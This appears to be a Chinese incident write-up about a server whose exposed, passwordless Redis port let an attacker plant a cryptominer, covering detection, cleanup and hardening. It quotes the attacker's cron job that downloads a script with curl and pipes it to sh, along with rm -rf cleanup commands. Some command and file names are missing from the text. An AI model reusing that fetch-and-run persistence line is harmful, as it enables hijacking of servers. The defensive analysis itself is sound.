案例分享—服务器被植入挖矿程序排查 _redis

主机的操作系统是，应用架构是Java+MySQL+Redis 。客户描述问题是有一个从下午2点到凌晨的秒杀活动。秒杀系统开始的时候是可以正常运行的，但是到了晚上7点就突然无法使用了，前台提交秒杀请求后，后端无响应，最终超时退出。
【案例分享—服务器被植入挖矿程序排查】排查过程分析
首先登录服务器，查看整个系统状态。目标服务器是16核32GB，执行top命令发现平均负载在10左右，主要是被一个可疑的进程消耗大量CPU资源，并且这个进程还是由root用户启动的，已经启动了，当时时间是19:37 。接着，又询问客户秒杀系统故障持续时间，客户回复大概半小时左右。
搜索关键字发现这个一个挖矿程序，“挖矿”的本质是使用计算机解决一项复杂的数学问题，特定算法会消耗大量CPU资源，导致系统卡顿。
既然找到了问题，接下来就捋清思路解决问题：
清理挖矿程序。排查挖矿程序的植入原因。修复漏洞，安全加固。清理挖矿程序
通过top找到的进程号13343，根据进程号，查询产生进程的程序路径。
#查询PID对应的可执行文件路径ls -al /proc/13343/exe
上面命令的执行结果为/var/tmp/，接下来执行kill -9 13343杀死进程，并执行rm -rf /var/tmp/清理挖矿程序。
再次执行top发现进程已经不在，且平均负载已经下降，说明问题已经初步解决，但是一般植入挖矿程序都会修改，检查/var/spool/cron/root发现如下计划任务：
*/5 19-23,0-7 * * * curl -fsSL https://*****/api/report?pm=*** | sh
可以看出，这个计划任务避开工作时间偷偷挖矿，具有一定隐蔽性。这也印证了客户提的晚上七点开始系统出现故障。rm -rf /var/spool/cron/root删除计划任务即可。
排查挖矿程序植入原因
通过 -tnpl查看到Redis的6380端口监听在0.0.0.0上，这属于高风险操作。接着，通过 -nL发现INPUT链有一条关于6380端口的开放规则：
ACCEPTtcp--0.0.0.0/00.0.0.0/0tcp dpt:6380
这条规则使Redis对全网开放，且在外网可以使用redis-cli -h xx.xx.xx.xx -p 6380无密码远程登录Redis 。黑客很有可能利用Redis漏洞，同通过反弹Shell注入来植入挖矿程序。
询问客户为何开放6380端口。客户回忆说，因为开发人员要在家办公，需要远程连接Redis，所以要开放6380端口，开发人员处理完问题，运维人员忘记关闭端口，就导致了这次事故的发生。
对于线上服务器，是不能随意开放端口的，虽然问题体现在端口开放上，但本质是开发和运维的协作机制问题，如果加强沟通，肯定会避免此类问题。
修复漏洞，安全加固

文章插图
设置防火墙，禁止外网访问Redis：
iptables -D INPUT -p tcp -m tcp --dport=6380 -j ACCEPT
以低权限运行Redis服务。
修改Redis默认端口，6379、6380、6381都是Redis常用的端口，建议修改成不易被识别的端口。
给Redis添加密码验证，修改redis.conf，添加密码。重启Redis生效。
清空密钥认证文件，rm -rf /root/.ssh/* 。
修复sshd配置文件/etc/ssh/，可以检查修改了那些配置项，也可以从正常的系统复制一个过来。重启sshd生效。
存储着本地系统允许远程SSH无密码登录大的账号信息。默认情况下此文件权限为600可以正常工作，为了安全起见可以将的权限设置为只读、其他用户无权限，且无法修改此文件的权限，即：